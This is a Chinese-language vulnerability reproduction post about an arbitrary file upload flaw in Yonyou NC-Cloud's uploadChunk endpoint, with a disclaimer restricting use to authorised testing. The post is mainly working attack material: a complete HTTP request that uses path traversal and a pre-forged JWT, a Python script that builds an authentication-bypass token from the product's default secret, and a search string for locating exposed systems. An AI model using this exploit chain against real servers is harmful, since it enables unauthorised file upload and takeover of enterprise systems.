【漏洞复现】用友NC-Cloud系统uploadChunk存在任意文件上传漏洞
阅读须知
花果山的技术文章仅供参考,此文所提供的信息只为网络安全人员对自己所负责的网站、服务器等(包括但不限于)进行检测或维护参考,未经授权请勿利用文章中的技术资料对任何计算机系统进行入侵操作。利用此文所提供的信息而造成的直接或间接后果和损失,均由使用者本人负责。本文所提供的工具仅用于学习,禁止用于其他行为!!!
产品介绍
用友NC是“企业资源规划(Enterprise Resource Planning)”的缩写,是指用友软件股份有限公司开发的一套企业管理软。用友NC系统是一种集成管理企业各项业务流程的信息化解决方案。该系统涵盖了财务、人力资源、供应链管理等多个方面,旨在帮助企业提高运营效率、优化资源利用、提升管理水平。
漏洞描述
用友NC Cloud uploadChunk文件存在任意文件上传漏洞,攻击者通过此漏洞可实现上传木马文件,控制服务器。
漏洞影响
未知
复现环境
app="用友-NC-Cloud"
漏洞复现
POC如下:
1 POST /ncchr/pm/fb/attachment/uploadChunk?fileGuid=/../../../nccloud/&chunk=1&chunks=1 HTTP/1.1 2 Host: 3 User-Agent: Mozilla/4.0 (Mozilla/4.0; MSIE 7.0; Windows NT 5.1; FDM; SV1; .NET CLR 3.0.04506.30) 4 Accept-Encoding: gzip, deflate 5 Accept: */* 6 Connection: close 7 accessTokenNcc: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyaWQiOiIxIn0.F5qVK-ZZEgu3WjlzIANk2JXwF49K5cBruYMnIOxItOQ 8 Content-Length: 148 9 Content-Type: multipart/form-data; boundary=de7a6692c03f903d173515933ee6f161 10 11 --de7a6692c03f903d173515933ee6f161 12 Content-Disposition: form-data; name="file"; filename="test.txt" 13 14 test 15 --de7a6692c03f903d173515933ee6f161--
poc中存在一个请求头:accessTokenNcc,该请求头为JWT,在网上找到一篇分析文章,点击即可跳转。通过这篇分析文章,发现用友NC存在一个默认的密钥,通过这个密钥构建JWT进行鉴权绕过,JWT生成的python脚本如下:(仅适用于用友NC-Cloud系统)
1 import json 2 import base64 3 import hashlib 4 import hmac 5 6 strbase64 = b'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/' 7 dictbase64 = {k:i for i,k in enumerate(strbase64)} 8 dictbase64[b"="[0]] = 0 9 stt = b"defaultSecret" 10 strarr = (stt[i-4:i] for i in range(4,len(stt)+1,4)) 11 arrby = bytearray() 12 num = 0 13 for nuits in strarr: 14 rint = 0 15 for k in nuits: 16 if k == b"="[0]: num +=1 #统计尾部等号个数 17 rint = (rint << 6) + dictbase64[k] 18 arrby.extend(rint.to_bytes(3,"big")) 19 while num: #去除尾部0字符 20 arrby.pop() 21 num -= 1 22 secret_key = bytes(arrby) 23 headers = { 24 "alg": "HS256", 25 "typ": "JWT" 26 } 27 payload = {"userid": "1"} 28 first = base64.urlsafe_b64encode(json.dumps(headers, separators=(',', ':')).encode('utf-8').replace(b'=', b'')).decode('utf-8').replace('=', '') 29 second = base64.urlsafe_b64encode(json.dumps(payload, separators=(',', ':')).encode('utf-8').replace(b'=', b'')).decode('utf-8').replace('=', '') 30 first_second = f"{first}.{second}" 31 third = base64.urlsafe_b64encode(hmac.new(secret_key, first_second.encode('utf-8'), hashlib.sha256).digest()).decode('utf-8').replace('=', '') 32 token = ".".join([first, second, third]) 33 print(token)
返回操作成功即证明上传成功,访问test.txt确认。
上传成功,至此漏洞复现结束。